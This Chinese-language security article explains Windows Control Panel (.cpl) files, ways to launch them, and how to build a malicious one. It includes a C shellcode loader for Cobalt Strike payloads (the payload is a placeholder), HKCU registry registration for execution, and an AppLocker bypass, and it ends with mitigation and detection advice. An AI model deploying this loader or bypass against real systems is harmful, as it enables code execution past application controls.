cpl文件
CPL文件,是Windows控制面板扩展项,CPL全拼为Control Panel Item
在system32目录下有一系列的cpl文件,分别对应着各种控制面板的子选项
例如:
inetcpl.cpl,IE设置
joy.cpl,游戏控制器设置
mmsys.cpl,声音与音频设置
intl.cpl,区域与语言设置
ncpa.cpl,网络连接
netsetup.cpl,网络安装向导
nusrmgr.cpl,用户帐户
odbccp32.cpl,ODBC数据源管理器
wscui.cpl,Windows安全中心
wuaucpl.cpl,自动更新配置
igfxcpl.cpl,Intel集成显卡设置
nvcpl.cpl,nVidia显卡设置(NVIDIA控制面板)
access.cpl,辅助功能选项
appwiz.cpl,添加或删除程序
desk.cpl,显示属性
firewall.cpl,防火墙设置
hdwwiz.cpl,添加硬件向导
sysdm.cpl 我的电脑右键属性
cpl文件本质是属于PE文件
但cpl并不像exe,更像是dll,无法直接打开,只能以加载的形式运行。并且有一个导出函数CPlApplet该函数是控制面板应用程序的入口点,它被控制面板管理程序自动调用,且是个回调函数。
如何打开cpl
1.双击或者win r xxx.cpl 2.control <文件名> 3.rundll32 shell32.dll,Control_RunDLL <文件名>
注意:
所有rundll32 shell32.dll,Control_RunDLL的命令均可用control替代,control.exe实质调用了rundll32.exe。打开后找不到control.exe进程,只能找到rundll32.exe。
4.vbs脚本
代码语言:javascript复制Dim obj Set obj = CreateObject("Shell.Application") obj.ControlPanelItem("C:Users11793Desktopcpl.cpl")
5.js脚本
代码语言:javascript复制var a = new ActiveXObject("Shell.Application"); a.ControlPanelItem("C:\Users\11793\Desktop\cpl.cpl");
创建一个CPL文件
最简单的方式:直接创建一个dll,无需导出函数,然后改后缀名
代码语言:javascript复制BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved )
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("Calc.exe", SW_SHOW);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break; }
return TRUE;
}
同样我们也可以加载CS的shellcode
代码语言:javascript复制#include "pch.h"
#include "windows.h"
extern "C" __declspec(dllexport) VOID CPlApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{
MessageBoxA(0, NULL, "test", MB_OK);
/* length: 835 bytes */
unsigned char buf[] = "shellcode";
LPVOID Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
将其注册到HKCUSoftwareMicrosoftWindowsCurrentVersionControl PanelCpls
启动control.exe,就可以执行我们的cpl
bypass Windows AppLocker
AppLocker即“应用程序控制策略”,是Windows 7系统中新增加的一项安全功能。在win7以上的系统中默认都集成了该功能。
默认的Applocker规则集合,可以看到cpl并不在默认规则中:
缓解措施
M1038
执行预防 在适当的情况下,使用应用程序控制工具(如 Windows Defender 应用程序控制、AppLocker、或软件限制策略)识别和阻止潜在的恶意和未知 .cpl 文件。
M1022
限制文件和目录权限 将控制面板项目的存储和执行限制在受保护的目录中,例如C:Windows,而不是用户目录。
检测
涉及与CPL文件,如CONTROL.EXE和相关项目监测和分析活动Control_RunDLL,并ControlRunDLLAsUser在shell32.dll中的API函数。
当从命令行执行或单击时,control.exe 将control.exe file.cpl在Rundll32用于调用 CPL 的 API 函数(例如:)之前执行 CPL 文件(例如:)rundll32.exe shell32.dll,Control_RunDLL file.cpl。
CPL 文件可以通过 CPL API 函数直接执行,只需使用后面的Rundll32命令,这可能会绕过 control.exe 的检测和/或执行过滤器。
用于定位系统上存在的未注册和潜在恶意文件的库存控制面板项目:
- 可执行格式注册控制面板项将具有全局唯一标识符(GUID)和在注册的注册表项HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorerControlPanelNameSpace和HKEY_CLASSES_ROOTCLSID{{GUID}}。这些条目可能包含有关控制面板项目的信息,例如其显示名称、本地文件的路径以及在控制面板中打开时执行的命令。
- 存储在 System32 目录中的 CPL 格式注册的控制面板项目会自动显示在控制面板中。其他控制面板项目将在CPLs和 的Extended Properties注册表项中有注册条目HKEY_LOCAL_MACHINE or HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionControl Panel。这些条目可能包括诸如 GUID、本地文件路径和用于以编程方式 ( WinExec("c:windowssystem32control.exe {{Canonical_Name}}", SW_NORMAL);) 或从命令行 ( control.exe /name {{Canonical_Name}})启动文件的规范名称等信息。
- 某些控制面板项可通过注册的 Shell 扩展进行扩展,HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionControls Folder{{name}}ShellexPropertySheetHandlers其中 {{name}} 是系统项的预定义名称。
分析新的控制面板项目以及磁盘上存在的恶意内容。可执行文件和 CPL 格式都是兼容的可移植可执行文件 (PE) 图像,可以使用传统工具和方法进行检查,